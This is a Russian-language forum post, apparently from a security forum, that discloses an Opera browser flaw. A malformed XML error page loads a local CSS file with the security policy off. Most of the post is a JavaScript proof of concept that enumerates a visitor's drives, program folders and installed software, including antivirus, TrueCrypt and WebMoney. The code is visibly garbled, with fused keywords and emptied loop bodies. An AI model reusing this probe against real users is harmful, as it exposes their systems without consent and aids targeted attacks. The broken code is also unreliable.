follow

Уязвимость аналогична той, которую я нашел в прошлом году - http://forum.antichat.net/thread307415.html

Загружаем во фрейм xml-документ с ошибкой синтаксиса, получаем вывод сообщения об ошибке.

При выводе ошибки opera подгружает локальный css-файл, при этом отключая политику безопасности. После замены содержимого фрейма, xml-документ обрабатывается как html.

Для проверки статуса загрузки файла на этот раз использую свойство complete обекта image.

PoC (Windows, Linux; Opera

varifr=frames[0].document.documentElement;

vardiskArr='CDEFGHIJKLMNOPQRSTUVWXYZ';

vardiskDiv=document.createElement('div');

diskDiv.innerHTML='disks:
';

document.body.appendChild(diskDiv);

vardirArr= new Array(

'program files',

'program files (x86)'

);

vardirDiv=document.createElement('div');

dirDiv.innerHTML='
program folders:
';

document.body.appendChild(dirDiv);

varprogArr= new Array(

'adobe',

'akelpad',

'alcohol soft',

'avira',

'charles',

'daemon tools lite',

'drweb',

'eset',

'filezilla ftp client',

'filezilla ftp server',

'icq7.1',

'icq7.2',

'icq7.3',

'icq7.4',

'icq7.5',

'icq7.6',

'icq7.7',

'kaspersky lab',

'mcafee',

'microsoft office',

'microsoft visual studio',

'microsoft.net',

'mozilla firefox',

'nmap',

'nvidia corporation',

'notepad++',

'psi+',

'paragon software',

'qip',

'qip2010',

'qip2011',

'skype',

'teamviewer',

'total commander',

'truecrypt',

'utorrent',

'webmoney',

'winpcap',

'winrar',

'wireshark'

);

varprogDiv=document.createElement('div');

progDiv.innerHTML='
programs:
';

document.body.appendChild(progDiv);

functionadd(name,type,img)

{

if(img.complete)

{

switch(type)

{

case0:

diskDiv.innerHTML+=name+'
';

checkDir(name);

break



case1:

dirDiv.innerHTML+=name+'
';

checkProg(name);

break;



case2:

progDiv.innerHTML+=name+'
';

break;



case3:

progDiv.innerHTML+=name+'
';

}

}

else if(type==3)

{

checkDisk();

}

}

functioncheckProg(dir)

{

for(varj in progArr)

ifr.innerHTML="";

}

functioncheckDir(disk)

{

for(varj in dirArr)

ifr.innerHTML="";

}

functioncheckDisk()

{

for(vari in diskArr)

ifr.innerHTML="";

}

(function()

{

ifr.innerHTML="";

})()





[/COLOR]
[/PHP]

тема на rdot.org